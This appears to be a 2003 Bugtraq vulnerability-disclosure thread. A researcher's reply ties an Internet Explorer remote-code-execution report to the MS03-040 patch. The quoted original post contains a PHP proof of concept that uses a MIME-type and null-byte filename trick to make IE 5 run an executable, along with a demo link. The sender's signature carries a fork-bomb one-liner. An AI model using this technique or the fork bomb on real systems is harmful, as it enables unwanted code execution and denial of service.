A default Windows 98SE installation is several years behind in patches. This does not reproduce on any IE browser that has been patched the last year or so. If in doubt about your IE patch level apply the latest cumulative patch MS03-040, which can be found at http://www.microsoft.com/technet/security/bulletin/MS03-040.asp Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher http://pivx/com/larholm/ - Get our research, join our mailinglist -----Original Message----- From: Marcin Ulikowski [mailto:r3b00t@tx.pl] Sent: Saturday, October 18, 2003 3:16 PM To: bugtraq@securityfocus.com Subject: IE remote code execution This code can execute any code remotely using IE - as you can see very simple. // for IE 5, tested on default Windows 98SE installation <?php Header("Content-type: audio/midi"); Header("Content-Disposition: inline; filename=readme.txt%00code.exe"); readfile("code.exe"); ?> <noscript> Here you have a demo: http://r3b00t.tx.pl/iexec5.php Can we expect more surprises like this one? -- ------------------------------ r3b00t ~ [http://r3b00t.tx.pl] just do main(){for(;;)fork();} ------------------------------